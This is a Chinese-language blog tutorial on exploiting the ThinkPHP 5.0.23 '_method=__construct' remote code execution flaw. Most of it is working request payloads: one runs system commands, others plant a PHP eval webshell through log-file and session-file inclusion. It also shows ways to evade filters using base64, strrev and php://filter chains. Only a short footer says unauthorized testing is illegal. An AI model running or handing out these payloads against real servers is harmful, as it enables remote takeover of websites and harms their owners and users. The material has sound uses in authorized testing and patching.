TP代码执行绕过

1 常见利用方式

TP5.0.23 method代码执行,payload

http://localhost:82/public/index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[1]=whoami&get[]=1

正常执行命令

图片[1]-TP代码执行绕过-星辰信安

写shell的两种方式,日志包含和session包含

利用日志包含

http://localhost:82/public/index.php?s=captcha

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202206/22.log&x=phpinfo();
图片[2]-TP代码执行绕过-星辰信安

disable_function禁用了一些函数的利用方式,这里跟着文章走

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server

2php://filter伪协议

注:下面的session我是用的是phpstudy环境生成的session,没搞定TP生成的session文件

需要先知道前面有多少位,才可以对其进行字符拼凑

使用TP的session包含写shell,因为session的话生成的字符会相比较于日志量少

/public/index.php?s=captcha

_method=__construct&filter[]=think\Session::set&method=get&get[]=PD9waHAgcGhwaW5mbygpOz8+&server[]=1PD9waHAgcGhwaW5mbygpOz8+=<?php phpinfo();?>

在base64解密的时候是按照4byte一组,生成的base编码正好是4的倍数。

这个是生成的session,在解密的时候虽然只会解密base64加密的内容

think|a:6:{s:24:"PD9waHAgcGhwaW5mbygpOz8+";s:0:"";s:11:"__construct";s:0:"";s:18:"think\Session::set";s:0:"";s:3:"get";s:0:"";i:1;s:0:"";s:0:"";s:0:"";}d2d977c58444271d9c780187e93f80e5|a:2:{s:11:"verify_code";s:32:"837af34ca3576d542c444ca1536a847f";s:11:"verify_time";i:1655990627;}

php在解密base64时,会将<、?、>、;空格等一共7个字符忽略,所以在这里需要将这些字符拼接一下。当然还是4byte一组

PD9waHAgcGhwaW5mbygpOz8+ => <?php phpinfo();?>

abPD9waHAgcGhwaW5mbygpOz8%2ba`这样就是说(ab<?)、(phpp)、(hpin)、(fo())、(;?>a)一组

这里需要将+改为url编码,否则写入之后就是空格

/public/index.php?s=captcha

_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgcGhwaW5mbygpOz8%2ba&server[]=1_method=__construct&method=get&filter[]=think\__include_file&server[]=1&get[]=php://filter/read=convert.base64-decode/resource=D:\phpstudy_pro\Extensions\tmp\tmp\sess_ioep6r806n3n5uhb6150go57rp
think|a:6:{s:27:"abPD9waHAgcGhwaW5mbygpOz8+a";s:0:"";s:11:"__construct";s:0:"";s:18:"think\Session::set";s:0:"";s:3:"get";s:0:"";i:1;s:0:"";s:0:"";s:0:"";}d2d977c58444271d9c780187e93f80e5|a:2:{s:11:"verify_code";s:32:"7b47664802dab9bb44f3e1cd410516b3";s:11:"verify_time";i:1655993543;}

包含成功

图片[3]-TP代码执行绕过-星辰信安

日志包含不能使用这种操作,可能是因为每次请求都会留下一些换行特殊字符之类的操作把

就是绕过php://关键字

在TP代码中$filters是一个数组,也就是可以传递多个参数。传递多个filter svalue进行多次处理。

图片[4]-TP代码执行绕过-星辰信安

在这里加了一层解码器,可以成功包含文件

_method=__construct&method=get&filter[]=base64_decode&filter[]=think\__include_file&server[]=1&get[]=cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPUQ6XHBocHN0dWR5X3Byb1xFeHRlbnNpb25zXHRtcFx0bXBcc2Vzc19pb2VwNnI4MDZuM241dWhiNjE1MGdvNTdycA==
图片[5]-TP代码执行绕过-星辰信安

使用二位反转strrev函数

_method=__construct&method=get&filter[]=strrev&filter[]=think\__include_file&server[]=1&get[]=pr75og0516bhu5n3n608r6peoi_sses\pmt\pmt\snoisnetxE\orp_ydutsphp\:D=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
图片[6]-TP代码执行绕过-星辰信安

如果还怕绕不过去,加一层base64编码,或者两层base64编码

_method=__construct&method=get&filter[]=base64_decode&filter[]=strrev&filter[]=think\__include_file&server[]=1&get[]=cHI3NW9nMDUxNmJodTVuM242MDhyNnBlb2lfc3Nlc1xwbXRccG10XHNub2lzbmV0eEVcb3JwX3lkdXRzcGhwXDpEPWVjcnVvc2VyL2Vkb2NlZC00NmVzYWIudHJldm5vYz1kYWVyL3JldGxpZi8vOnBocA==
图片[7]-TP代码执行绕过-星辰信安

二位反转也可以在读取的时候使用伪协议,但这里只能是二位反转的内容

图片[8]-TP代码执行绕过-星辰信安

再或者使用二位反转+base64编码

图片[9]-TP代码执行绕过-星辰信安

因为php://filter是支持多个过滤器的

_method=__construct&method=get&filter[]=think\__include_file&server[]=1&get[]=php://filter/read=convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE/resource=D:\phpstudy_pro\Extensions\tmp\tmp\sess_fit058580t0ss9d7l81fd9d3ak
图片[10]-TP代码执行绕过-星辰信安
温馨提示:一切未经授权的渗透测试行为均为违法行为。
© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享